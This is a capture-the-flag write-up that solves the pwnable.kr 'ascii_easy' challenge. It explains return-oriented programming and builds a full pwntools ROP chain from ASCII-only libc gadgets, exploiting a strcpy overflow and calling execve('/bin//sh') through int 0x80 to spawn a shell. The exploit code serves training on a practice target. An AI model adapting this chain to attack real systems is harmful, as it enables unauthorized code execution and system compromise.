Problem solving with pwnable.kr 26 - ascii_easy. We deal with ROP gadgets from scratch once and for all

image






In this article, we will solve the 26th task from the site pwnable.kr and figure out what ROP is, how it works, why it is so dangerous, and compose a ROP chain with additional complicating fighters.



Organizational Information
Especially for those who want to learn something new and develop in any of the areas of information and computer security, I will write and talk about the following categories:



  • PWN;
  • cryptography (Crypto);
  • network technologies (Network);
  • reverse (Reverse Engineering);
  • steganography (Stegano);
  • search and exploitation of WEB vulnerabilities.


In addition to this, I will share my experience in computer forensics, analysis of malware and firmware, attacks on wireless networks and local area networks, conducting pentests and writing exploits.



So that you can find out about new articles, software and other information, I created a channel in Telegram and a group to discuss any issues in the field of ICD. Also, I will personally consider your personal requests, questions, suggestions and recommendations personally and will answer everyone .



All information is provided for educational purposes only. The author of this document does not bear any responsibility for any damage caused to anyone as a result of using knowledge and methods obtained as a result of studying this document.



Ascii_easy job solution



We continue the second section. I will say right away that it is more difficult than the first, but this time they provide us with the source code of the program. Do not forget about the discussion here (https://t.me/RalfHackerPublicChat) and here (https://t.me/RalfHackerChannel). Let's get started.



Click on the ascii_easy caption icon. We are given the address and port for connecting via ssh.



image



We are connected via SSH and see the flag, program, source code and libc library.



image



Let's see the source code.

#include <sys/mman.h> #include <sys/stat.h> #include <unistd.h> #include <stdio.h> #include <string.h> #include <fcntl.h> #define BASE ((void*)0x5555e000) int is_ascii(int c){ if(c>=0x20 && c<=0x7f) return 1; return 0; } void vuln(char* p){ char buf[20]; strcpy(buf, p); } void main(int argc, char* argv[]){ if(argc!=2){ printf("usage: ascii_easy [ascii input]\n"); return; } size_t len_file; struct stat st; int fd = open("/home/ascii_easy/libc-2.15.so", O_RDONLY); if( fstat(fd,&st) < 0){ printf("open error. tell admin!\n"); return; } len_file = st.st_size; if (mmap(BASE, len_file, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE, fd, 0) != BASE){ printf("mmap error!. tell admin\n"); return; } int i; for(i=0; i<strlen(argv[1]); i++){ if( !is_ascii(argv[1][i]) ){ printf("you have non-ascii byte!\n"); return; } } printf("triggering bug...\n"); vuln(argv[1]); }
      
      







Let's sort it into blocks. The program takes a string as an argument.



image



In this case, the string should consist only of ascii characters.



image



A memory area with a known base address and read, write and execute rights is also allocated. The libc library is placed in this area.



image



In addition to everything, the program has a vulnerable function.



image



Moreover, if you check the program, you can make sure that it has an unexecutable stack (parameter NX). We will decide by compiling the ROP.



image



Let's copy the library to ourselves.

 scp -P2222 ascii_easy@pwnable.kr:/home/ascii_easy/libc-2.15.so /root/
      
      





Now you need to assemble the ROP chain. To do this, use the ROP-gadget tool.

 ROPgadget --binary libc-2.15.so > gadgets.txt
      
      





In the gadgets.txt file we have all the possible ROP chains (example 10 of the first is presented below).



image



The problem is that we need to select those that consist of ascii characters only. To do this, we write a simple filter that will leave only those addresses, each byte of which belongs to the interval from 0x20 to 0x7f inclusive.

 def addr_check(addr): ret = True for i in range(0,8,2): if int(addr[i:i+2], 16) not in range(0x20, 0x80): ret = False return ret f = open('gadgets.txt', 'rt') old_gadgets = f.read().split('\n')[2:-3] f.close() new_gadgets = "" base_addr = 0x5555e000 for gadget in old_gadgets: addr = base_addr + int(gadget.split(' : ')[0], 16) if addr_check(hex(addr)[2:]): new_gadgets += (hex(addr) + ' :' + ":".join(gadget.split(':')[1:]) + '\n') f = open('new_gadgets.txt', 'wt') f.write(new_gadgets) f.close()
      
      





Run the program and get a list of ROP gadget addresses that satisfy us.



Rop gadgets



Many asked for more details about return-oriented programming. Ok, let's give an example with illustrations. Suppose we have a buffer overflow vulnerability and an unexecutable stack.

A ROP gadget is a set of instructions that ends with a return return statement. As a rule, gadgets choose from the endings of functions. As an example, take a few functions. In each of them, select the ROP gadget (highlighted in red).



image



image



image



Thus we have several ROP chains:

0x000ed7cb: mov eax, edx; pop ebx; pop esi; ret

0x000ed7cd: pop ebx; pop esi; ret

0x000ed7ce: pop esi; ret

0x00033837: pop ebx; ret

0x0010ec1f: add esp, 0x2c; ret






Now let’s figure out what kind of beast is this - ROP chains. When the buffer overflows, we can rewrite the return address. Suppose, at the moment, the ret instruction must be executed in the target function, that is, some valid address is located on the top of the stack.



For example, we want to execute the following code:

add esp, 0x2c

add esp, 0x2c

add esp, 0x2c

mov eax, edx

pop ebx

pop esi

ret






We must rewrite the valid return address with the following addresses:

0x0010ec1f

0x0010ec1f

0x0010ec1f

0x000ed7cb






To understand why this will work, let's look at the image below.



image



Thus, instead of returning to a valid address, we move to the first address of our ROP chain. After executing the first command, the ret instruction will move the program to the next address on the stack, that is, to the second command. The second command also ends with ret, which also moves to the next command, whose address is indicated on the stack. Thus, we achieve the execution of the code we have previously compiled.



ROP chaining for ascii_easy.



First of all, we will find out how many bytes we need to overflow the buffer. Run the program in gdb and feed the line to the input.



image



And the program crashes to the address β€œbbbb”, which means that the padding is 32 characters.



The most convenient way to use ROP is to use the execve function. Convenience lies in passing parameters through registers. Let's find this function in the libc library. This can be done using GDB.



image



But if we add to the function address the library loading address in memory, we will see that it will not satisfy the ascii condition.



image



But there is another option to call the function. This is through a system call. On Linux, each system call has its own number. This number must be located in the EAX register, followed by an int 0x80 interrupt call. The complete siscall table can be viewed here .



image



Thus, the execve function has the number 11, that is, the value 0xb should be located in the EAX register. Parameters are transferred through the EBX registers - the address at the beginning of the parameter line, ECX - the address at the pointer to the parameter line, and EDX - the address at the pointer to the argument environment variables.



image



We need to pass the string '/ bin / sh' to the function. To do this, we will need to write it to a place allowed for recording and pass the address of the string as a parameter. The line will have to save 4 characters, i.e. '/ bin' and '// sh', since the registers transmit 4 bytes each. For this, I found the following gadgets:

0x555f3555 : pop edx ; xor eax, eax ; pop edi ; ret

0x55687b3c : mov dword ptr [edx], edi ; pop esi ; pop edi ; ret









This gadget:

  1. Take from the stack the address for writing the string, and put it in the edx register, will reset eax.
  2. It takes a value from the stack and places it in edi.
  3. It will copy the value from edi to the address in edx (it will write our line to the desired address).
  4. It will take two more values ​​from the stack.




Thus, for its operation it is necessary to transfer the following values:

0x555f3555 ;

memory_addr ; (edx)

4__ ; 4 (edi)

0x55687b3c ;

4__ ; (esi)

4__ ; (edi)








Then you can run the same gadgets to copy the second part of the line. It will not be difficult to find an address for writing, since the library is loaded into a memory area accessible for reading, writing, and execution.



image



Any addresses satisfying the ascii condition can be taken there. I took the address 0x55562023.



Now we need to end our line with a null character. For this task, I use the following gadget chain:

0x555f3555 : pop edx ; xor eax, eax ; pop edi ; ret

0x5560645c : mov dword ptr [edx], eax ; ret








This gadget:

  1. Take from the stack the address for the null entry, and put it in the edx register, zero out eax.
  2. Take the value from the stack.
  3. Copy the value from zeroed eax to the address in edx.




Thus, for its operation it is necessary to transfer the following values:

0x555f3555 ;

memory_addr+8 ; 0 - (edx)

4__ ; edi

0x5560645c ;








Thus, we copied our string into memory. Next, you need to fill in the registers to transfer values. Since the β€œ/ bin / sh” program called in execve will not have its own arguments and environment variables, we will pass a null pointer into them. In ebx we write the address on the line and in eax we write 11 - the number of the execve siskol. For this, I found the following gadgets:

0x555f3555 : pop edx ; xor eax, eax ; pop edi ; ret

0x556d2a51 : pop ecx ; add al, 0xa ; ret

0x5557734e : pop ebx ; ret

0x556c6864 : inc eax ; ret








This gadget:

  1. Puts the value from the stack in edx, resets eax.
  2. Move value from stack to edi.
  3. Move the value from the stack to ecx, add to zero eax 10.
  4. Move the value from the stack to ebx.
  5. Increase eax from 10 to 11.




Thus, for its operation it is necessary to transfer the following values:

0x555f3555 ;

memory_addr+8 ; null (edx)

4__ ; edi

0x556d2a51 ;

memory_addr+8 ; null (ecx)

0x5557734e ;

memory_addr ; -(ebx)

0x556c6864 ;








And we end our ROP-chain with an exception.

0x55667176 : inc esi ; int 0x80







Below is a more abbreviated and general record of the above.



image



And the code forming the payload.

 from pwn import * payload = "a"*32 pop_edx = 0x555f3555 memory_addr = 0x55562023 mov_edx_edi = 0x55687b3c mov_edx_eax = 0x5560645c pop_ecx = 0x556d2a51 pop_ebx = 0x5557734e inc_eax = 0x556c6864 int_80 = 0x55667176 payload += p32(pop_edx) payload += p32(memory_addr) payload += '/bin' payload += p32(mov_edx_edi) payload += 'aaaaaaaa' payload += p32(pop_edx) payload += p32(memory_addr + 4) payload += '//sh' payload += p32(mov_edx_edi) payload += 'aaaaaaaa' payload += p32(pop_edx) payload += p32(memory_addr + 8) payload += 'aaaa' payload += p32(mov_edx_eax) payload += p32(pop_edx) payload += p32(memory_addr + 8) payload += 'aaaa' payload += p32(pop_ecx) payload += p32(memory_addr + 8) payload += p32(pop_ebx) payload += p32(memory_addr) payload += p32(inc_eax) payload += p32(int_80) print(payload)
      
      







image



image



Frankly, for me, for some reason, it was one of the most difficult tasks from this site ...



Further more and more complicated ... You can join us on Telegram . Let's put together a community in which there will be people who are versed in many areas of IT, then we can always help each other on any IT and information security issues.



All Articles